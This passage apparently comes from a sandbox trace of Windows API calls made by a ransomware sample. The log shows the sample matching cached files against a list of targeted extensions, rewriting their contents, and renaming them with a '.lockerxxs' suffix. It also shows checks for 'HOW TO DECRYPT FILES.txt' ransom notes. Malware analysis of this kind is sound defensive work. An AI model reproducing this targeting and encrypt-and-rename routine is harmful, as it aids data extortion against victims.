out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" [0084.560] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png." [0084.560] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.lockerxxs" [0084.560] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.561] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x230 [0084.561] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3)) returned 1 [0084.561] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.561] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x20a, lpOverlapped=0x0) returned 1 [0084.563] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png") returned="BBoqF0J[1].png" [0084.563] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.563] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x20a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x20a, lpOverlapped=0x0) returned 1 [0084.564] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.564] CloseHandle (hObject=0xa4) returned 1 [0084.564] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png.lockerxxs")) returned 1 [0084.565] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53063a30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBzjV9E[1].png", cAlternateFileName="BBZJV9~1.PNG")) returned 1 [0084.565] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.565] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBzjV9E[1].png") returned 1 [0084.565] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBzjV9E[1].png") returned 1 [0084.565] lstrcmpiA (lpString1="", lpString2="BBzjV9E[1].png") returned -1 [0084.565] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png") returned="BBoqF0J[1].png" [0084.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.565] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.565] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.565] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.565] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBzjV9E[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" [0084.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.ems") returned 0 [0084.565] lstrlenA (lpString="*.ems") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.db") returned 0 [0084.566] lstrlenA (lpString="*.db") returned 4 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.dbf") returned 0 [0084.566] lstrlenA (lpString="*.dbf") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.myox") returned 0 [0084.566] lstrlenA (lpString="*.myox") returned 6 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.myo") returned 0 [0084.566] lstrlenA (lpString="*.myo") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbw") returned 0 [0084.566] lstrlenA (lpString="*.qbw") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbb") returned 0 [0084.566] lstrlenA (lpString="*.qbb") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbm") returned 0 [0084.566] lstrlenA (lpString="*.qbm") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbo") returned 0 [0084.566] lstrlenA (lpString="*.qbo") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbx") returned 0 [0084.566] lstrlenA (lpString="*.qbx") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qba") returned 0 [0084.566] lstrlenA (lpString="*.qba") returned 5 [0084.566] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qby") returned 0 [0084.566] lstrlenA (lpString="*.qby") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qbj") returned 0 [0084.567] lstrlenA (lpString="*.qbj") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.ofx") returned 0 [0084.567] lstrlenA (lpString="*.ofx") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.qif") returned 0 [0084.567] lstrlenA (lpString="*.qif") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.mye") returned 0 [0084.567] lstrlenA (lpString="*.mye") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.mbox") returned 0 [0084.567] lstrlenA (lpString="*.mbox") returned 6 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.eml") returned 0 [0084.567] lstrlenA (lpString="*.eml") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.pst") returned 0 [0084.567] lstrlenA (lpString="*.pst") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.ost") returned 0 [0084.567] lstrlenA (lpString="*.ost") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.idx") returned 0 [0084.567] lstrlenA (lpString="*.idx") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.dbx") returned 0 [0084.567] lstrlenA (lpString="*.dbx") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.sql") returned 0 [0084.567] lstrlenA (lpString="*.sql") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.mdb") returned 0 [0084.567] lstrlenA (lpString="*.mdb") returned 5 [0084.567] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.fdb") returned 0 [0084.567] lstrlenA (lpString="*.fdb") returned 5 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.wab") returned 0 [0084.568] lstrlenA (lpString="*.wab") returned 5 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.dat") returned 0 [0084.568] lstrlenA (lpString="*.dat") returned 5 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.txt") returned 0 [0084.568] lstrlenA (lpString="*.txt") returned 5 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.jpeg") returned 0 [0084.568] lstrlenA (lpString="*.jpeg") returned 6 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.jpg") returned 0 [0084.568] lstrlenA (lpString="*.jpg") returned 5 [0084.568] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", pszSpec="*.png") returned 1 [0084.568] lstrlenA (lpString="*.png") returned 5 [0084.568] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" [0084.568] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" [0084.568] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png." [0084.568] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.lockerxxs" [0084.568] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.569] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x116 [0084.569] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53063a30, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53063a30, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53063a30, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.569] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.569] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xf0, lpOverlapped=0x0) returned 1 [0084.572] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png") returned="BBzjV9E[1].png" [0084.572] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.572] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf0, lpOverlapped=0x0) returned 1 [0084.572] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.572] CloseHandle (hObject=0xa4) returned 1 [0084.572] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png.lockerxxs")) returned 1 [0084.573] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60cdb940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60cdb940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d4dd60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1fdaf, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="benefits-1[1].jpg", cAlternateFileName="BENEFI~1.JPG")) returned 1 [0084.573] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="benefits-1[1].jpg") returned 1 [0084.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="benefits-1[1].jpg") returned 1 [0084.573] lstrcmpiA (lpString1="", lpString2="benefits-1[1].jpg") returned -1 [0084.573] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png") returned="BBzjV9E[1].png" [0084.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.573] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.573] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.573] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.573] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="benefits-1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" [0084.573] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg", pszSpec="*.ems") returned 0 [0084.574] lstrlenA (lpString="*.ems") returned 5 [0084.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 